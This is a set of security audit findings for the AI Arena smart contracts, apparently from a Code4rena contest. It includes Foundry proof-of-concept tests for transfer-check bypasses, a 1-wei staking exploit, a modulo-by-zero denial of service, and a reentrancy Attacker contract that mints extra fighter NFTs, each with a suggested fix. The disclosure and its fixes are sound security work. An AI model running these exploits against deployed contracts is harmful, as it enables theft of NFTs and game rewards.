AI Arena - Krace's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365

Vulnerability details

Impact

The staked fighter NFTs can still be transferred, and an address could own more than MAX_FIGHTERS_ALLOWED fighters because the safeTransferFrom(from, to, tokenId, data) is not override to check the _ableToTransfer.

Proof of Concept

The FighterFarm only overrides the transferFrom(from, to, tokenId) and safeTransferFrom(from, to, tokenId) to check the _ableToTransfer, but ignores the safeTransferFrom(from, to, tokenId, data), which could also be used to transfer the fighter NFTs.

    function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _transfer(from, to, tokenId);
    }

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

Add the test code to test/FighterFarm.t.sol and run it with: forge test --match-test testTransferringFighterWhileStakedWithData.

diff --git a/test/FighterFarm.t.sol b/test/FighterFarm.t.sol
index afd2f50..7b0597b 100644
--- a/test/FighterFarm.t.sol
+++ b/test/FighterFarm.t.sol
@@ -237,6 +237,14 @@ contract FighterFarmTest is Test {
         assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
     }

+    function testTransferringFighterWhileStakedWithData() public {
+        _mintFromMergingPool(_ownerAddress);
+        _fighterFarmContract.addStaker(_ownerAddress);
+        _fighterFarmContract.updateFighterStaking(0, true);
+        //  i staked but can still be transferred because the safeTransferFrom with data is not override!
+        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
+    }
+
     /// @notice Test redeeming a mintpass for a fighter
     function testRedeemMintPass() public {
         uint8[2] memory numToMint = [1, 0];

Result:

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testTransferringFighterWhileStakedWithData() (gas: 492088)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.82ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Override the safeTransferFrom(from, to, tokenId, data) method to prevent illegal transfers.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

Items can still be transferred even if their transferable property is set to false, as the ERC1155.safeBatchTransferFrom method is not overridden to verify the status of the items' transferable property.

Proof of Concept

The GameItems only overrides the safeTransferFrom function to check the transferable of items, but ignores the safeBatchTransferFrom function, which could also be used to transfer the items.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

POC

The attacker could leverage safeBatchTransferFrom to transfer items even if the transferable of items is disabled. Add the test code to test/GameItems.t.sol and run it with: forge test --match-test testsafeBatchTransferFrom.

diff --git a/test/GameItems.t.sol b/test/GameItems.t.sol
index 1aa9332..ee141dd 100644
--- a/test/GameItems.t.sol
+++ b/test/GameItems.t.sol
@@ -238,6 +238,21 @@ contract GameItemsTest is Test {
         assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
     }

+    function testsafeBatchTransferFrom() public {
+        _fundUserWith4kNeuronByTreasury(_ownerAddress);
+        _gameItemsContract.mint(0, 1);
+        _gameItemsContract.adjustTransferability(0, false);
+        // revert because transferable is false
+        vm.expectRevert();
+        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
+
+        // safeBatchTransferFrom can bypass the check of `transferable`
+        uint256[] memory ids = new uint256[](1);
+        uint256[] memory amounts = new uint256[](1);
+        ids[0] = 0;
+        amounts[0] = 1;
+        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
+    }
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Result:

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testsafeBatchTransferFrom() (gas: 183734)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.16ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Override the safeBatchTransferFrom method to prevent illegal transfers when the transferable is disabled.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L322-L349 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L416-L500

Vulnerability details

Impact

The _getStakingFactor function will return one even if the player only stakes 1 wei. Players could exploit this to earn points without facing any risk of losing staked NRN.

Proof of Concept

Even if the players don't stake any tokens, the _getStakingFactor will still return 1.

    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      //@audit stakingFactor_ is set to 1 if it is equal to zero
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    }

When updating the Battle Record, if amountStaked[tokenId] + stakeAtRisk is greater than zero, the owner of tokenId will have their points updated. Players can stake just 1 Wei to satisfy the condition and invoke the _addResultPoints function.

    function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    {   
        require(msg.sender == _gameServerAddress);
        require(mergingPortion <= 100);
        address fighterOwner = _fighterFarmInstance.ownerOf(tokenId);
        require(
            !initiatorBool ||
            _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || 
            _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
        );

        _updateRecord(tokenId, battleResult);
        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
        if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
        if (initiatorBool) {
            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
        }
        totalBattles += 1;
    }

In the _addResultPoints function, if the fighter wins, the player will receive points; otherwise, the player must transfer curStakeAtRisk to the _stakeAtRiskAddress. The curStakeAtRisk is 0.1% of amountStaked[tokenId] + stakeAtRisk, and the points are calculated using stakingFactor[tokenId] * eloFactor. If the player only stakes 1 Wei, the curStakeAtRisk will be zero, and the points will be equal to eloFactor. Therefore, irrespective of the battle outcome, the player will not incur any losses, and if the fighter wins, the player will still gain points.

function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        uint256 stakeAtRisk;
        uint256 curStakeAtRisk;
        uint256 points = 0;

        /// Check how many NRNs the fighter has at risk
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

        /// Calculate the staking factor if it has not already been calculated for this round 
        if (_calculatedStakingFactor[tokenId][roundId] == false) {
            stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            _calculatedStakingFactor[tokenId][roundId] = true;
        }

        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
        //@ curStakeAtRisk will be zero if amountStaked[tokenId]  is 1 wei
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        if (battleResult == 0) {
            /// If the user won the match

            /// If the user has no NRNs at risk, then they can earn points
            if (stakeAtRisk == 0) {
            //@audit points will be equal to `eloFactor`
                points = stakingFactor[tokenId] * eloFactor;
            }

            /// Divert a portion of the points to the merging pool
            uint256 mergingPoints = (points * mergingPortion) / 100;
            points -= mergingPoints;
            _mergingPoolInstance.addPoints(tokenId, mergingPoints);

            /// Do not allow users to reclaim more NRNs than they have at risk
            if (curStakeAtRisk > stakeAtRisk) {
                curStakeAtRisk = stakeAtRisk;
            }

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }

            /// Add points to the fighter for this round
            accumulatedPointsPerFighter[tokenId][roundId] += points;
            accumulatedPointsPerAddress[fighterOwner][roundId] += points;
            totalAccumulatedPoints[roundId] += points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, true);
            }
        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            }
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
            }
        }
    }

POC

The staker stakes only 1 wei on their fighter. If the fighter wins the battle, the staker earns eloFactor=1500 * mergingPortion=50% = 750 points. In the event of a loss, the staker incurs no losses as the curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4 = 10 * (1 + 0) / 10**4 is ZERO.

Add the test code to test/RankedBattle.t.sol and run it with: forge test --match-test test1WeiStake -vvv.

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..a9501ea 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -377,6 +377,39 @@ contract RankedBattleTest is Test {
         assertEq(wins, 1);
     }

+    function test1WeiStakeFail() public {
+        address player = vm.addr(3);
+        _mintFromMergingPool(player);
+        _fundUserWith4kNeuronByTreasury(player);
+        vm.prank(player);
+        // stake 1 wei
+        _rankedBattleContract.stakeNRN(1, 0);
+
+        // tokenId0 lose
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
+
+        // tokenId0 still holds the 1wei in the amountStaked
+        uint256 amount = _rankedBattleContract.amountStaked(0);
+        console.log("accumulatedPointsPerFighter ", amount);
+    }
+    function test1WeiStakeWin() public {
+        address player = vm.addr(3);
+        _mintFromMergingPool(player);
+        _fundUserWith4kNeuronByTreasury(player);
+        vm.prank(player);
+        // stake 1 wei
+        _rankedBattleContract.stakeNRN(1, 0);
+
+        // tokenId0 win
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
+
+        // tokenId0 get 750 points
+        uint256 points = _rankedBattleContract.accumulatedPointsPerFighter(0, 0);
+        console.log("accumulatedPointsPerFighter ", points);
+    }
+
     /// @notice Test a player staking NRN. Battle result is a tie. After battle check to see the amount of battled tied is accurate.
     function testUpdateBattleRecordPlayerTiedBattle() public {
         address player = vm.addr(3);

Result:

Running 2 tests for test/RankedBattle.t.sol:RankedBattleTest
[PASS] test1WeiStakeFail() (gas: 776648)
Logs:
  accumulatedPointsPerFighter  1

[PASS] test1WeiStakeWin() (gas: 876216)
Logs:
  accumulatedPointsPerFighter  750

Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 7.52ms

Tools Used

Foundry

Recommended Mitigation Steps

diff --git a/src/RankedBattle.sol b/src/RankedBattle.sol
index 53a89ca..9ad75d3 100644
--- a/src/RankedBattle.sol
+++ b/src/RankedBattle.sol
@@ -527,9 +527,6 @@ contract RankedBattle {
       uint256 stakingFactor_ = FixedPointMathLib.sqrt(
           (amountStaked[tokenId] + stakeAtRisk) / 10**18
       );
-      if (stakingFactor_ == 0) {
-        stakingFactor_ = 1;
-      }
       return stakingFactor_;
     }
 }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L104-L111

Vulnerability details

Impact

If the generation exceeds ZERO, the _createFighterBase function will consistently revert due to the fact that numElements[generation] (where generation > 0) is always zero. Any function invoking _createFighterBase will result in a permanent Denial-of-Service.

Proof of Concept

When creating a FighterBase, the element is determined by dna % numElements[generation[fighterType]]. However, the numElements array only contains one element: numElements[0] = 3; and cannot be updated with new elements. Consequently, if generation[fighterType] is greater than zero, numElements[generation[fighterType]] will always be zero. This leads to the contract consistently reverting with a modulo by zero error.

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3;
    } 

POC

To evaluate the vulnerability, I use reRoll to invoke the _createFighterBase. Add the test code to test/FighterFarm.t.sol and run it with: forge test --match-test testRerollWithNewGeneration.

diff --git a/test/FighterFarm.t.sol b/test/FighterFarm.t.sol
index afd2f50..72ee571 100644
--- a/test/FighterFarm.t.sol
+++ b/test/FighterFarm.t.sol
@@ -336,6 +336,26 @@ contract FighterFarmTest is Test {
         }
     }

+    function testRerollWithNewGeneration() public {
+        _mintFromMergingPool(_ownerAddress);
+        // get 4k neuron from treasury
+        _fundUserWith4kNeuronByTreasury(_ownerAddress);
+        // after successfully minting a fighter, update the model
+        if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
+            uint8 tokenId = 0;
+            uint8 fighterType = 0;
+
+            // _createFighterBase is OK with generation 0
+            _neuronContract.addSpender(address(_fighterFarmContract));
+            _fighterFarmContract.reRoll(tokenId, fighterType);
+
+            // _createFighterBase will revert if generation is larger than 0
+            // because the `numElements` only have one elements
+            _fighterFarmContract.incrementGeneration(fighterType);
+            _fighterFarmContract.reRoll(tokenId, fighterType);
+        }
+    }
+
     /// @notice Test that the reroll fails if maxRerolls is exceeded.
     function testRerollRevertWhenLimitExceeded() public {

Result:

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[FAIL. Reason: panic: division or modulo by zero (0x12)] testRerollWithNewGeneration() (gas: 685073)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.04ms

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Update the numElements when creating new generations.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L313-L331 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L529

Vulnerability details

Impact

The claimRewards function lacks reentrancy protection when minting fighter NFTs to users. This allows attackers to obtain additional fighter NFTs.

Proof of Concept

The claimRewards function is susceptible to reentrancy due to the fact that _fighterFarmInstance.mintFromMergingPool performs a safe minting of ERC721 to the msg.sender. Despite the update of numRoundsClaimed[msg.sender] occurring before minting, attackers can exploit the for loop to repeatedly claim the NFT in the same round.

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
        require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
        uint256 element; 
        uint256 weight;
        uint256 newDna;
        if (customAttributes[0] == 100) {
            (element, weight, newDna) = _createFighterBase(dna, fighterType);
        }
        else {
            element = customAttributes[0];
            weight = customAttributes[1];
            newDna = dna;
        }
        uint256 newId = fighters.length;

        bool dendroidBool = fighterType == 1;
        FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            iconsType,
            dendroidBool
        );
        fighters.push(
            FighterOps.Fighter(
                weight,
                element,
                attrs,
                newId,
                modelHash,
                modelType,
                generation[fighterType],
                iconsType,
                dendroidBool
            )
        );
        //@audit mint the fighter NFT to the `to`
        _safeMint(to, newId);
        FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
    }

POC

Considering there are two winners in the first two rounds, namely _ownerAddress and attacker, the attacker should be entitled to claim TWO fighter NFTs for the two rounds. However, the attacker initiates reentrancy into the claimRewards function through onERC721Received when receiving the fighter NFT. Consequently, the attacker is able to acquire one additional fighter NFT.

For the attacker:

• roundId = 2
• Initial call to claimRewards with lowerBound = 0, resulting in the attacker obtaining the ZERO round NFT.
  • Reentrancy into claimRewards with lowerBound = 1, leading to the attacker acquiring the ONE round NFT. The index is lowerBound = 1, which is less than roundId, loop ends.
• Reentrancy concludes. Now, the index increases to 1 in the first claimRewards call, which will claim the ONE round NFT again for the attacker.

Add the test code to test/MergingPool.t.sol and run it with: forge test --match-test testClaimRewardsReentrancy.

diff --git a/test/MergingPool.t.sol b/test/MergingPool.t.sol
index 7ad2ba6..28cd99a 100644
--- a/test/MergingPool.t.sol
+++ b/test/MergingPool.t.sol
@@ -195,6 +195,39 @@ contract MergingPoolTest is Test {
         assertEq(numRewards, 0);
     }

+    function testClaimRewardsReentrancy() public {
+        Attacker att = new Attacker(_mergingPoolContract);
+        _mintFromMergingPool(_ownerAddress);
+        _mintFromMergingPool(address(att));
+
+        uint256[] memory _winners = new uint256[](2);
+        _winners[0] = 0;
+        _winners[1] = 1;
+        // winners of roundId 0 are picked
+        _mergingPoolContract.pickWinner(_winners);
+
+
+        // winner matches ownerOf tokenId
+        string[] memory _modelURIs = new string[](2);
+        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+        string[] memory _modelTypes = new string[](2);
+        _modelTypes[0] = "original";
+        _modelTypes[1] = "original";
+        uint256[2][] memory _customAttributes = new uint256[2][](2);
+        _customAttributes[0][0] = uint256(1);
+        _customAttributes[0][1] = uint256(80);
+        _customAttributes[1][0] = uint256(1);
+        _customAttributes[1][1] = uint256(80);
+        // winners of roundId 1 are picked
+        _mergingPoolContract.pickWinner(_winners);
+
+        console.log("balance of attacker before claim ", _fighterFarmContract.balanceOf(address(att)));
+        vm.prank(address(att));
+        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
+        console.log("balance of attacker ", _fighterFarmContract.balanceOf(address(att)));
+    }
+
     /// @notice Test getting the unclaimed amount for an address owning 2 fighters that's been included in 2 rounds of picked winners.
     function testGetUnclaimedRewardsForWinnerOfMultipleRoundIds() public {
         _mintFromMergingPool(_ownerAddress);
@@ -275,3 +308,26 @@ contract MergingPoolTest is Test {
         return this.onERC721Received.selector;
     }
 }
+
+contract Attacker is IERC721Receiver{
+    MergingPool  _mergingPoolContract;
+    constructor(MergingPool  mergingPoolContract){_mergingPoolContract = mergingPoolContract; }
+    function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public override returns (bytes4) {
+        //console.log("token received !!! ",tokenId);
+        if(tokenId == 2) {
+            string[] memory _modelURIs = new string[](2);
+            _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+            _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+            string[] memory _modelTypes = new string[](2);
+            _modelTypes[0] = "original";
+            _modelTypes[1] = "original";
+            uint256[2][] memory _customAttributes = new uint256[2][](2);
+            _customAttributes[0][0] = uint256(1);
+            _customAttributes[0][1] = uint256(80);
+            _customAttributes[1][0] = uint256(1);
+            _customAttributes[1][1] = uint256(80);
+            _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
+        }
+        return this.onERC721Received.selector;
+    }
+}

Result shows that the attacker gets 3 fighter NFTs but only wins 2 round.

Running 1 test for test/MergingPool.t.sol:MergingPoolTest
[PASS] testClaimRewardsReentrancy() (gas: 2592448)
Logs:
  balance of attacker before claim  1
  balance of attacker  4

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.39ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Add a reentrancy guard to the function claimRewards.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L495

Vulnerability details

Impact

When users claim fighter rewards via the MergingPool, they are required to mint all fighters simultaneously. In cases where users already possess some fighters and the newly minted fighters surpass the upper limit allowed for the user, they are unable to claim any new fighters unless they sell some old fighters. In an extreme scenario, if the number of fighters that a user can claim in the MergingPool exceeds the MAX_FIGHTERS_ALLOWED (set to 10 in the FighterFarm.sol contract), then even if the user has no fighters initially, they cannot claim new fighters from the MergingPool. This situation implies that the user's fighters are permanently locked in the MergingPool.

Proof of Concept

In the MergingPool, when users claim rewards, they are required to claim all the fighters they have won up to the current round. In essence, users cannot specify the number of fighters to claim at once but must claim all the fighters they have won in a single transaction.

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Moreover, each user can have up to MAX_FIGHTERS_ALLOWED fighters. Once the upper limit is exceeded, _createNewFighter will revert.

    function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
    //@audit user cannot own too many fighters
        require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);

Hence, if Alice currently owns 8 fighters and there are 3 fighters available in the MergingPool for her to claim, she must sell one fighter before being able to claim the 3 fighters from the MergingPool.

In an extreme situation, if there are 11 fighters in the MergingPool that Alice could claim, she would be unable to obtain any of them since the _createNewFighter function will revert when attempting to create the 11th fighter.

Tools Used

Manual Review

Recommended Mitigation Steps

Allow users to claim rewards until their specified round.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L93-L99 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L105-L120

Vulnerability details

Impact

Users can replenish voltage even if the current block.timestamp has exceeded one day. In such cases, the voltage should ideally be recharged to 100, but due to the current implementation, it leads to the loss of users' Battery items.

Proof of Concept

When ownerVoltage[msg.sender] is below 100, users can use VoltageBattery to replenish voltage, resulting in the burning of a Battery item owned by msg.sender.

    function useVoltageBattery() public {
        require(ownerVoltage[msg.sender] < 100);
        require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0);
        _gameItemsContractInstance.burn(msg.sender, 0, 1);
        ownerVoltage[msg.sender] = 100;
        emit VoltageRemaining(msg.sender, ownerVoltage[msg.sender]);
    }

Every day, the ownerVoltage is reset to 100. Consequently, if users utilize the battery after one day has passed since the last ownerVoltageReplenishTime, the Battery item is wasted as the voltage was intended to be recharged.

    function spendVoltage(address spender, uint8 voltageSpent) public {
        require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
        if (ownerVoltageReplenishTime[spender] <= block.timestamp) {
            _replenishVoltage(spender);
        }
        ownerVoltage[spender] -= voltageSpent;
        emit VoltageRemaining(spender, ownerVoltage[spender]);
    }

    function _replenishVoltage(address owner) private {
        ownerVoltage[owner] = 100;
        ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days);
    }

Considering the following scenario:

1. Alice has spent all Voltage.
2. After 1 day, Alice uses VoltageBattery to replenish and burn the Battery item.
3. In reality, Alice could have directly spent Voltage because the ownerVoltageReplenishTime[spender] has already elapsed. Alice wasted an Battery item.

Tools Used

Manual Review

Recommended Mitigation Steps

Ensure that the current block.timestamp is less than the ownerVoltageReplenishTime[msg.sender] before using the VoltageBattery.

diff --git a/src/VoltageManager.sol b/src/VoltageManager.sol
index 61aae93..603ca78 100644
--- a/src/VoltageManager.sol
+++ b/src/VoltageManager.sol
@@ -91,6 +91,7 @@ contract VoltageManager {
     /// @notice Uses a voltage battery to replenish voltage for a player in AI Arena.
     /// @dev This function can be called by any user to use the voltage battery.
     function useVoltageBattery() public {
+        require(ownerVoltageReplenishTime[msg.sender] > block.timestamp);
         require(ownerVoltage[msg.sender] < 100);
         require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0);
         _gameItemsContractInstance.burn(msg.sender, 0, 1);

Assessed type

Context